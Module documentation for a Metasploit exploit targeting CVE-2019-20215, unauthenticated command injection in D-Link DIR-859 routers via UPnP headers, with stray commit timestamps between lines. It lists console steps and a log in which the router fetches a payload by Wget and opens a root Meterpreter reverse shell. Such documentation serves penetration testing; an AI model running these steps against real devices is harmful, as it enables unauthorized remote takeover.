2020-02-05 12:58:46 -06:00
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## Vulnerable Application
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2020-01-28 16:21:34 -03:00
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2020-02-05 12:58:46 -06:00
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### Introduction
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2020-01-28 16:21:34 -03:00
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2020-02-05 12:58:46 -06:00
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This module exploits CVE-2019–20215, an unauthenticated remote injection of operating system commands.
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The vulnerability was found in the ssdpcgi() function, and the payload can be injected through either the UUID
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or URN headers of a M-SEARCH UPnP request.
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2020-01-28 16:21:34 -03:00
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2020-02-05 12:58:46 -06:00
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Get a [D-Link router/vulnerable firmware](https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10147),
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or download firmware versions 1.06 or 1.05 and run them on firmadyne or similar emulation frameworks.
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2020-01-28 16:21:34 -03:00
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## Verification Steps
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1. Set up router/emulated device
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2. Start `msfconsole`
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3. Do: `use exploit/linux/http/dlink_dir859_exec_ssdpcgi`
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4. Do: `set RHOSTS <router_ip>`
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5. Do: `set LHOST <local_ip>`
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6. Do: `set TARGET <URN/UUID>`
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7. Do: `run`
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8. You should get a session as `root`.
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2020-02-05 12:58:46 -06:00
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## Options
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**VECTOR**
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This option denotes which header will be used in the request (UUID or URN)
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that triggers the vulnerability.
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2020-01-28 16:21:34 -03:00
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## Scenarios
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### D-link DIR-859 Firmware 1.05
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2020-02-05 12:58:46 -06:00
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2020-01-28 16:21:34 -03:00
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```
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msf5 exploit(linux/http/dlink_dir859_exec_ssdpcgi) > run
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[*] Started reverse TCP handler on 192.168.0.2:4444
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[*] Using URL: http://0.0.0.0:8080/38YWEX2
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[*] Local IP: http://192.168.70.28:8080/38YWEX2
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[*] Target Payload URN
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[*] Client 192.168.0.1 (Wget) requested /38YWEX2
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[*] Sending payload to 192.168.0.1 (Wget)
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[*] Command Stager progress - 100.00% done (110/110 bytes)
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[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.1:41057) at 2029-12-31 14:15:22 -0300
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[*] Server stopped.
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meterpreter >
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```
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